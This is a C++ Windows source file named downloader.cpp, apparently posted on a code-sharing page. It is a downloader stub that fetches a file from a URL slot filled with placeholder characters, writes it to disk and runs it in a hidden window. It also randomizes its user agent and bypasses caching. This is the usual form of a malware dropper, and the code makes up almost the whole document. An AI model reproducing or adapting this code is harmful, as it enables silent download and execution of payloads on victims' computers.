📄 downloader.cpp
字号:
// DownLoader.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <mmsystem.h>
#pragma comment(lib,"winmm.lib")
#pragma comment(lib,"Wininet.lib")
int InternetGetFile(char szUrl[],char szFileName[]);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
InternetGetFile("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
return 0;
}
int InternetGetFile(char szUrl[100],char szFileName[100])
{
DWORD dwFlags;
if(!InternetGetConnectedState(&dwFlags,0))
{
return -1;
}
char strAgent[64];
sprintf(strAgent,"Agent%ld",timeGetTime());
HINTERNET hOpen;
if(!(dwFlags & INTERNET_CONNECTION_PROXY))
{
hOpen = InternetOpen(strAgent,INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
}
else
{
hOpen = InternetOpenA(strAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
}
if(!hOpen)
{
return -1;
}
DWORD dwSize;
char szHead[] = "Accept: */*\r\n\r\n";
void* szTemp[16384];
HINTERNET hConnect;
FILE *fp;
if(!(hConnect = InternetOpenUrlA(hOpen,szUrl,szHead,strlen(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_RELOAD,0)))
{
return -1;
}
fp = fopen(szFileName,"wb+");
if(fp == NULL)
{
return -1;
}
DWORD dwByteToRead = 0;
DWORD dwSizeOfRq = 4;
DWORD dwBytes = 0;
if(!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
{
dwByteToRead = 0;
}
do
{
if(!InternetReadFile(hConnect,szTemp,16384,&dwSize))
{
InternetCloseHandle(hOpen);
fclose(fp);
return -1;
}
if(dwSize == 0)
break;
else
fwrite(szTemp,dwSize,1,fp);
}while(true);
fclose(fp);
InternetCloseHandle(hOpen);
// ShellExecute(NULL,"open",szFileName,NULL,NULL,SW_HIDE);
STARTUPINFO info;
memset(&info,0,sizeof(info));
info.cb = sizeof(info);
info.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pinfo;
CreateProcess(NULL,szFileName,NULL,NULL,false,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -